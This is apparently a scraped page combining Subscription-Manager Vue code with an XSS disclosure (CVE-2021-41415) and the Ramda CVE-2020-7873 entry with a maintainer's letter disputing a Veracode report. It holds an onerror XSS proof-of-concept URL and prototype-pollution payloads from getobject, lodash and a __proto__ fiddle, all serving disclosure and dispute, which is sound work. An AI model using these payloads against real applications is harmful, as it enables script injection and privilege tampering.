            <div id="machine-edit">
                <h2>✍ 正在编辑-{{machineDetail.name}} <span @click="goBack">🔙 返回</span><span @click="goDelete">🗑️ 删除</span></h2>
                <br/>
                <h3>基本信息</h3>
                <br/>
                <div class="form-input-material">
                    <input
                        class="form-control-material"
                        type="text"
                        name="name"
                        id="name"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.name"
                    />
                    <label for="name">小鸡名</label>
                </div>    
                <br/><br/>
                <div class="form-input-material">    
                    <input
                        class="form-control-material"
                        type="text"
                        name="fee"
                        id="fee"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.fee"
                    />
                    <label for="fee">每月费用</label>
                </div>  
                <br/><br/>  
                <div class="form-input-material">      
                    <input
                        class="form-control-material"
                        type="text"
                        name="host"
                        id="host"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.HOST"
                    />
                    <label for="host">主机商</label>
                </div>   
                <br/><br/> 
                <div class="form-input-material">      
                    <input
                        class="form-control-material"
                        type="text"
                        name="location"
                        id="location"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.location"
                    />
                    <label for="location">位置</label>
                </div>    
                <br/><br/>
                <div class="form-input-material">       
                    <input
                        class="form-control-material"
                        type="text"
                        name="ip"
                        id="ip"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.ip"
                    />
                    <label for="ip">IP</label>
                </div>    
                <br/><br/>
                <div class="form-input-material">       
                    <input
                        class="form-control-material"
                        type="text"
                        name="panel"
                        id="panel"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.panel"
                    />
                    <label for="panel">面板地址</label>
                </div>    
                <br/>
                <br/>
                <div class="form-input-material">       
                    <input
                        class="form-control-material"
                        type="text"
                        name="deadline"
                        id="deadline"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.deadline"
                    />
                    <label for="deadline">过期日期(yyyy-mm-dd)</label>
                </div> 
                <br/>
                <br/>
                <div class="form-input-material">       
                    <input
                        class="form-control-material"
                        type="text"
                        name="cycle"
                        id="cycle"
                        placeholder=" "
                        autocomplete="off"
                        v-model="machineDetail.cycle"
                    />
                    <label for="cycle">付款周期(天)</label>
                </div>
                <br/>
                <h3>自动续费开关</h3>
                    <div class="form-check">
                        <input type="radio" class="form-check-input bounce" id="auto-true" value="1" v-model="machineDetail.auto"/>
                        <label class="form-check-label" for="auto">自动续费</label>
                    </div>
                    <div class="form-check">
                        <input type="radio" class="form-check-input bounce" id="auto-false" value="0" v-model="machineDetail.auto"/>
                        <label class="form-check-label" for="auto">算了</label>
                    </div>
                <h3>加入收藏</h3>
                    <div class="form-check">
                        <input type="radio"  class="form-check-input bounce" value="1" v-model="machineDetail.liked"/>
                        <label class="form-check-label" for="liked">这必须收藏</label>
                    </div>
                    <div class="form-check">
                        <input type="radio" class="form-check-input bounce" value="0" v-model="machineDetail.liked"/>
                        <label class="form-check-label" for="liked">算了</label>
                    </div>
                    <br/>
                    <h3>备注</h3>
                    <textarea name="info" id="" cols="30" rows="10" v-model="machineDetail.info"></textarea>
                    <br><br>
                <button class="btn btn-primary" @click="update">保存</button>
                </div>
            </div>
        </div>
    \`,
    data:function (){
        return {
            machineDetail : \[\],
            logged: false
        }
    },
    methods:{
        getDetail: function(){
            let url \= window.location.href.replace(window.location.hash,'');
            axios.get(url + 'X/index.php?action=getMachineDetail&id=' + this.$route.params.id)
                .then((response)\=>{
                    this.machineDetail \= response.data\[0\]
               })
        },
        goBack: function(){
            this.$router.go(\-1)
        },
        goDelete: function(){
            this.$router.push({path:'/machine/'+this.$route.params.id+'/delete'})
        },
        update: function(){
            if(this.machineDetail\['name'\] !== '' && this.machineDetail\['liked'\] !== '' && this.machineDetail\['deadline'\] !== '' && this.machineDetail\['location'\] !== '' && this.machineDetail\['fee'\] !== '' && this.machineDetail\['cycle'\] !== '' && this.machineDetail\['auto'\] !== '' && this.machineDetail\['panel'\] !== ''  && this.machineDetail\['info'\] !== '' && this.machineDetail\['HOST'\] !== '' && this.machineDetail\['ip'\] !== ''){
                let url \= window.location.href.replace(window.location.hash,'');
                axios.get(url + 'X/index.php?action=updateMachineDetail&id='+this.$route.params.id + '&name='+this.machineDetail\['name'\]+'&liked='+this.machineDetail\['liked'\]+'&deadline='+this.machineDetail\['deadline'\]+'&location='+this.machineDetail\['location'\]+'&fee='+this.machineDetail\['fee'\]+'&cycle='+this.machineDetail\['cycle'\]+'&auto='+this.machineDetail\['auto'\]+'&panel='+this.machineDetail\['panel'\]+'&info='+this.machineDetail\['info'\]+'&HOST='+this.machineDetail\['HOST'\]+'&ip='+this.machineDetail\['ip'\])
                    .then((response)\=>{
                        if(response.data \=== 1){
                            alert("编辑成功")
                            this.$router.go(\-1)
                        }
                    })
            }else{
                alert('有什么东西没填完？');
            }
        }
    },
    mounted(){
        this.logged \= Cookies.get('UserStatus')
        if (this.logged !== 'true') {
            this.$router.push({path: '/u'})
        }
        this.getDetail();
    }
})

In the main.js file, the machineDetail parameter and the machineDetail parameter under the machineDetail.info method are controllable, and the machineDetail parameter is not strictly filtered, causing XSS injection vulnerabilities!

POC

    /X/index.php?action=updateMachineDetail&id=1&name=测试机&liked=1&deadline=2020-12-10&location=深圳&fee=10&cycle=30&auto=0&panel=baidu.com&info=<img src="x" onerror="alert(1);">&HOST=阿里云&ip=1.1.1.1

CVE-2021-41415: Subscription-Manager v1.0 /main.js hava a XSS Vulnerability · Issue #2 · youranreus/Subscription-Manager

CVE-2020-7873

** DISPUTED ** Prototype poisoning in function mapObjIndexed in Ramda 0.27.0 and earlier allows attackers to compromise integrity or availability of application via supplying a crafted object (that contains an own property "__proto__") as an argument to the function. NOTE: the vendor disputes this because the observed behavior only means that a user can create objects that the user didn't know would contain custom prototypes.

Below is a response I've drafted to send to Veracode. Does anyone have any suggested improvements?

@ramda/core

> **Overview**
> 
> There seems to be an erroneous vulnerability report in Veracode, saying that Ramda is subject to prototype pollution.
> 
> While we certainly have not definitively demonstrated that nothing in Ramda has this vulnerability, the examples so far are _not_ examples of prototype pollution, only of the ability to create objects that the user didn't know would contain custom prototypes.
> 
> It seems like this report should be withdrawn.
> 
> **Prototype Pollution**
> 
> Prototype pollution is the ability for crafted input supplied to a generic function to the alter the prototype of built-in JavaScript constructs, such as Object.
> 
> One example, from a WhiteSource blog, is:
> 
> const getObject \= require('getobject');
> var obj \= {}; 
> var obj2 \= 1; 
> console.log("Before Polluting : " + obj2.Check);  //~> 'Before Polluting : undefined'
> getObject.set(obj, "\_\_proto\_\_.Check", "polluted");
> console.log("After Polluting: " + obj2.Check);  //~> 'After Polluting: polluted'
> 
> Another one, closer to the case in question, from a snyk vulnerability report, looks like this:
> 
> const mergeFn \= require('lodash').defaultsDeep;
> const payload \= '{"constructor": {"prototype": {"a0": true}}}'
> 
> function check() {
>     mergeFn({}, JSON.parse(payload));
>     if (({})\[\`a0\`\] \=== true) {
>         console.log(\`Vulnerable to Prototype Pollution via ${payload}\`);
>     }
>   }
> 
> check(); //~> 'Vulnerable to Prototype Pollution via {"constructor": {"prototype": {"a0": true}}}'
> 
> What these have in common is that calling getObject.set or lodash.defaultsDeep modifies the prototype of the built-in Object, and thus they affect the behavior not just of the resulting object they return but also of any existing JavaScript objects and any newly created ones. This would allow a malicious user to perform denial-of-service attacks and even perform actions without proper permissions, such as modifying or deleting data in a Node.js application.
> 
> **History**
> 
> A Veracode vulnerability report said:
> 
> > ramda is vulnerable to prototype pollution. An attacker can inject properties into existing construct prototypes via the _curry2 function and modify attributes such as __proto__, constructor, and prototype.
> 
> It has recently been updated to say this instead:
> 
> > ramda is vulnerable to prototype pollution. An attacker is able to inject and modify attributes of an object through the mapObjIndexed function via the __proto__ property.
> 
> (It seems that this update was only in the last day or so, but that's not entirely clear.)
> 
> This was brought to our attention by a comment on an open issue in Ramda. That issue, as discussed below, does not demonstrate prototype pollution, although it's an understandable mistake. The commenter was able to point us to that report, but there was no other information available.
> 
> I am one of the founder of Ramda and currently its chief maintainer. I reached out through Veracode's contact form online asking for more details. When I didn't hear back in a few days, I dug a bit deeper and found contact emails online as well. I emailed them, and a few days later got a response from a salesperson who thought I was in the market to buy their product. I explained the problem and was told that this would be forwarded to someone who might know more. Today, I heard back from someone else, a sales manager who had spoken to the technical team, who explained
> 
> > We have based this artifact from the information available in #3192. In the Pull Request, there is a POC (https://jsfiddle.net/3pomzw5g/2/) clearly demonstrating the prototype pollution vulnerability in the mapObjIndexed function. In the demo, the user object is modified via the __proto__ property and is considered a violation to the Integrity of the CIA triad. This has been reflected in our CVSS scoring for this vulnerability in our vuln db.
> > 
> > There is also an unmerged fix for the vulnerability which has also been included in our artifact ( 774f767 )
> 
> In other words, the issue that was used to comment on Veracode's vulnerability report was earlier the issue which triggered the report. Oh my aching head! 😄
> 
> That response continued:
> 
> > Please let me know if there is a dispute against the POC, and we can look further into this.
> 
> This document is my attempt to explain the issue and thoroughly explore the reported vulnerability.
> 
> **Reported Vulnerability**
> 
> The reported issue was demonstrated with the code on a Fiddle. It looks like this:
> 
> const hasOwn \= JSON.parse('{"\_\_proto\_\_": {"isAdmin": true}}');
> console.log(hasOwn.isAdmin); //~> undefined
> const mapped \= R.mapObjIndexed((val) \=> val, hasOwn);
> console.log(mapped.isAdmin); //~> true
> 
> Note that hasOwn does not have isAdmin in its prototype, but mapped does have it.
> 
> The suggestion is that because of this Ramda's mapObjIndexed can cause prototype pollution.
> 
> **Dispute**
> 
> All the top answers on a search for "prototype pollution" have variants of the description on codeburst:
> 
> > Prototype Pollution, as the name suggests, is about polluting the prototype of a base object which can sometimes lead to arbitrary code execution.
> 
> The above code does not do so. It does not pollute the base objects. It simply offers a surprising way to adjust the prototype of one specific object. And this behavior has little to do with Ramda; it's part of the base language as well. If we replaced the call to Ramda's mapObjIndexed with one to JavaScript's Object.assign, we get the exact same behavior. As far as I can tell, there is no report out against Object.assign for prototype pollution.
> 
> Another way to look at it is to view some slight variants of the snyk demonstration above for mergeDeepRight and mapObjIndexed. In each of these cases, the vulnerability is not found.
> 
> There's a reason these exploits are usually mentioned in combination of path-setting or deep merging and that they usually involve JSON.parse: The usage of JSON.parse allows the code to create the __proto__ node without actually updating the prototype directly. And then many deep-merge and path-setting functions work by mutating their input parameter with the values supplied. In combination, that means that these tools will eventually do a deep set of someObject .__proto__ .isAdmin, and since a plain object supplied, someObject .__proto__ will be Object .prototype, which is then mutated to include isAdmin.
> 
> Ramda's design is different. One of its guarantees is that it never mutates input data. Ramda's equivalent of a deep set, assocPath, does not add properties to your object. Instead it returns a new object, with all properties copied over from the old one and with your new property added or altered on this clone. The various merge functions operate similarly.
> 
> That means there is a wall between the data you're trying to insert and the underlying Object prototype. It's not clear if this wall is unbreachable, but it's more difficult than in the jQuery or lodash cases, where immutability is not the default. While avoiding such an exploit was not a reason for Ramda's immutable design, it is a good demonstration of the advantages it offers.
> 
> So this vulnerability report was based on an invalid GitHub issue. The Ramda team will close that issue soon. In fact, it was only because of this report that it's been left open.
> 
> Can the Veracode team remove this entry from its database?
> 
> **Follow-up**
> 
> The history above was a dry recital of the order of events, but it has been a very frustrating process. Would it be possible for Veracode's online reports to either directly include or offer a link to supporting evidence? Here if the report linked back to the GitHub issue or supplied a proof-of-concept of the vulnerability, the Ramda team could have responded to this much more effectively. Or, if that's not appropriate because they are reported before the team has a chance to work on the issue, could the report offer a "Challenge this finding" link with a way for tool maintainers to do what I've done?

Search

lenovo warranty check/lookup | check warranty status | lenovo support us